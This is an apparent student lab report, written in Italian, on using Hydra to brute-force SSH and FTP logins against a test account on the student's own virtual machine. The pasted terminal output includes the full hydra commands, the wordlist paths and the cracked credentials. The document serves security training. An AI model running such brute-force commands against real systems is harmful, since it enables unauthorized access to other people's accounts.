--S6I 4--L'esercizio di oggi richiedeva di usare hydra per trovare le credenziali di un altro user sulla stessa Macchina virtuale. Dopo aver creato un nuovo user e seguito i passaggi che dava la traccia abbiamo usato il programma Hydra e siamo riusciti ad accedere tramite la porta ssh. La seconda parte dell'esercizio richiedeva di scaricare un servizio chiamato vsftpd e questa volta utilizzare Hydra su quel servizio

specifico. Entrambi gli input sono andati a buon fine e siamo riusciti a recuperare le credenziali corrette.



## File Actions Edit View Help

```
(kali® kali)=[~]
$ hydra -L '/home/kali/Desktop/Esercizi/users.txt' -P '/home/kali/Desktop/Esercizi/crypto.txt' 192.168.50.100 -t 4 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 14:56:26
[DATA] max 4 tasks per 1 server, overall 4 tasks, 25 login tries (l:5/p:5), ~7 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
```

## File Actions Edit View Help

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is n on-binding, these \*\*\* ignore laws and ethics anyway).

kali@kali: ~

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 14:01:13
[DATA] max 4 tasks per 1 server, overall 4 tasks, 472021978516 login tries (l:624371/p:755996), ~118005494629 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 472021978472 to do in 178796203:59h, 4 active

[STATUS] 28.00 tries/min, 84 tries in 00:03h, 472021978432 to do in 280965463:22h, 4 active [STATUS] 28.14 tries/min, 197 tries in 00:07h, 472021978319 to do in 279539242:40h, 4 active [STATUS] 26.93 tries/min, 404 tries in 00:15h, 472021978112 to do in 292092808:15h, 4 active ^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

## \_\_(kali⊕kali)-[~]

## --(kali®kali)-[~]

hydra -L '/home/kali/Desktop/Esercizi/users.txt' -P '/home/kali/Desktop/Esercizi/crypto.txt' 192.168.50.100 -t 4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these \*\*\* ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 14:21:10
[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.res tore

[DATA] max 4 tasks per 1 server, overall 4 tasks, 25 login tries (l:5/p:5), ~7 tries per task [DATA] attacking ssh://192.168.50.100:22/

[22][ssh] host: 192.168.50.100 login: test\_user password: testpass

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-29 14:21:37